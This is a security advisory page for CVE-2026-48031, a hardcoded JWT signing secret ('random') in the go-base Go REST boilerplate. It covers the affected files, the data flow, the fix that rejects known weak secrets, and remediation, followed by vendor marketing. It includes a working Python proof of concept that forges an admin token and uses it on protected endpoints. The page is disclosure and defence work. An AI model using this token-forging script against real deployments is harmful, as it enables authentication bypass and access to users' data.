CVE-2026-48031

CVE-2026-48031 is a critical-severity use of hard-coded credentials vulnerability in github.com/dhax/go-base (go), affecting versions < 0.0.0-20260517152733-cc82b9740fa6. It is fixed in 0.0.0-20260517152733-cc82b9740fa6.

Summary

Vulnerability: CWE-798, Hardcoded JWT Secret + Broken Mitigation

Affected Component

  • github.com/dhax/go-base, Go REST API boilerplate (go-chi/jwtauth/v5, Viper, PostgreSQL/Bun)
  • 1,685 stars on GitHub

Vulnerability Locations

File Line Role
dev.env 10 AUTH_JWT_SECRET=random, template default shipped to all users
cmd/serve.go 35 viper.SetDefault("auth_jwt_secret", "random"), code-level fallback
auth/jwt/tokenauth.go 22-25 Weak mitigation: only checked literal "random", auto-generated non-persistent key
auth/jwt/tokenauth.go 28 jwtauth.New("HS256", []byte(secret), nil), creates JWT signer with the weak key
pwdless/api.go 203 GenTokenPair(), issues access + refresh tokens signed with the weak key

Data Flow

dev.env AUTH_JWT_SECRET=random
  OR
cmd/serve.go viper.SetDefault("auth_jwt_secret", "random")
    │
    ▼
auth/jwt/tokenauth.go: viper.GetString("auth_jwt_secret")
    │
    ▼
auth/jwt/tokenauth.go: jwtauth.New("HS256", []byte(secret), nil)
    │
    ▼
pwdless/api.go: GenTokenPair() → access + refresh tokens
    │
    ▼
jwt/authenticator.go: Every authenticated request trusts the forged token

Description

The JWT signing secret is hardcoded to the string "random" in two independent locations:

  1. dev.env:10, The template .env file sets AUTH_JWT_SECRET=random. Every developer who copies this template gets the same default.

  2. cmd/serve.go:35, viper.SetDefault("auth_jwt_secret", "random") provides a programmatic fallback. Even if the .env file is missing entirely, the application silently starts with "random" as the signing key.

The original code contained a mitigation in auth/jwt/tokenauth.go:22-25 that checked if the secret equaled "random" and replaced it with a randomly-generated 32-byte string. This mitigation had two fatal flaws:

  • (a) Single-value check: Only the exact string "random" was caught. Any other weak secret (e.g., "secret", "changeme", empty string) passed through unchecked.
  • (b) Non-persistent replacement: The auto-generated key was stored only in memory (randStringBytes(32)), not persisted. On every restart, all existing tokens became invalid without warning, breaking all active user sessions. This made the "fix" itself a denial-of-service.

An attacker who reads the public repository knows the signing key is "random". They can forge JWT tokens for arbitrary users (including admin roles), gaining complete authentication bypass on all protected API endpoints.

Proof of Concept

import jwt
import requests

# The hardcoded secret from dev.env / serve.go (public repository)
SECRET = "random"
BASE_URL = "http://target:3000"

# Step 1: Forge an admin JWT token
payload = {
    "sub": "[email protected]",
    "roles": ["admin"],
    "iat": 9999999000,
    "exp": 9999999999
}
forged_token = jwt.encode(payload, SECRET, algorithm="HS256")

# Step 2: Access any protected endpoint with the forged token
headers = {"Authorization": f"Bearer {forged_token}"}

# List all users (requires admin)
r = requests.get(f"{BASE_URL}/api/v1/admin/users", headers=headers)
print(f"Status: {r.status_code}")  # 200 OK

# Access own profile with forged identity
r = requests.get(f"{BASE_URL}/api/v1/me", headers=headers)
print(f"Profile: {r.json()}")  # Returns [email protected] profile

# The forged token is also accepted by refresh endpoints
r = requests.post(f"{BASE_URL}/api/v1/token/refresh", headers=headers)
# Returns a new valid token signed with the same "random" secret

Fix (PR #31)

The fix replaced the single-value check with a comprehensive approach:

// BEFORE (tokenauth.go:22-25), weak, single-value check
if secret == "random" {
    secret = randStringBytes(32) // non-persistent, breaks on restart
}

// AFTER, comprehensive known-weak-secrets map
var knownWeakSecrets = map[string]bool{
    "random": true,
    "secret": true,
    "changeme": true,
    "change-me": true,
    "default": true,
    "": true,
}

if knownWeakSecrets[secret] {
    log.Fatal("JWT secret is a known weak value. Please set a strong AUTH_JWT_SECRET.")
}

Plus: minimum 32-character length check, removal of non-persistent auto-generation, and clear generation instructions (openssl rand -base64 32) in the template.

Patched Versions

  • All versions after commit range including PR#31 (merged May 17, 2026).
  • Users should update to the latest master, regenerate their JWT secret, and restart.

Resources

Credit

Reported by @saaa99999999 via manual security audit.

Impact

  • Authentication Bypass: Forge tokens for any user, including admin roles
  • Confidentiality: Access all user data, profiles, and protected resources
  • Integrity: Modify any data accessible via the API
  • Persistence: Forged tokens remain valid until expiry (or indefinitely via refresh)

Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact. Typical impact: unauthorized access using the static credential.

CVE-2026-48031 has a CVSS score of 9.1 (Critical). The vector is network-reachable, no privileges required, and no user interaction. A CVSS score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether this affects your application depends on whether the vulnerable code is present and reachable in your environment. A fixed version is available (0.0.0-20260517152733-cc82b9740fa6); upgrading removes the vulnerable code path.

Affected versions

github.com/dhax/go-base (< 0.0.0-20260517152733-cc82b9740fa6)

Security releases

github.com/dhax/go-base → 0.0.0-20260517152733-cc82b9740fa6 (go)

Kodem intelligence

Severity tells you how bad this could be in the worst case. It does not tell you whether you are exposed. Exploitability and impact are functions of runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A vulnerable package can sit in your dependency tree and never run.

Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter. Kodem's runtime-powered SCA identifies whether this CVE is reachable in your applications.

See it in your environment

Remediation advice

Upgrade github.com/dhax/go-base to 0.0.0-20260517152733-cc82b9740fa6 or later to resolve this vulnerability.

Kodem Kai can prioritize this vulnerability in your dependency tree and generate a fix recommendation.

Frequently Asked Questions

  1. What is CVE-2026-48031? CVE-2026-48031 is a critical-severity use of hard-coded credentials vulnerability in github.com/dhax/go-base (go), affecting versions < 0.0.0-20260517152733-cc82b9740fa6. It is fixed in 0.0.0-20260517152733-cc82b9740fa6. Credentials are embedded in source code or a binary, making them accessible to anyone who can read the artifact.
  2. How severe is CVE-2026-48031? CVE-2026-48031 has a CVSS score of 9.1 (Critical). This score reflects the worst-case severity of the vulnerability, not your specific exposure. Whether it represents real risk in your environment depends on whether the vulnerable code is present and reachable.
  3. Which versions of github.com/dhax/go-base are affected by CVE-2026-48031? github.com/dhax/go-base (go) versions < 0.0.0-20260517152733-cc82b9740fa6 is affected.
  4. Is there a fix for CVE-2026-48031? Yes. CVE-2026-48031 is fixed in 0.0.0-20260517152733-cc82b9740fa6. Upgrade to this version or later.
  5. Is CVE-2026-48031 exploitable, and should I be worried? Whether CVE-2026-48031 is exploitable in your environment depends on whether the vulnerable code is present and reachable. A CVSS score is a worst-case rating; it does not account for your specific deployment, configuration, or usage patterns. Kodem, an Intelligent Application Security platform, uses runtime intelligence to show which vulnerabilities actually execute in production, so you can focus on the ones that represent real risk. Get a demo
  6. What actually determines whether CVE-2026-48031 is exploitable, and how bad it is? Exploitability and impact are not fixed properties of a CVE. They depend on runtime truth: whether the vulnerable code is present, reachable, and actually executes in your application. A high CVSS score on a dependency that never runs is not the same as real risk. Kodem, an Intelligent Application Security platform, uses runtime intelligence to reveal which vulnerabilities actually execute in production, so teams prioritize the ones that genuinely matter.
  7. How do I fix CVE-2026-48031? Upgrade github.com/dhax/go-base to 0.0.0-20260517152733-cc82b9740fa6 or later.

Other vulnerabilities in github.com/dhax/go-base

Stop the waste.
Protect your environment with Kodem.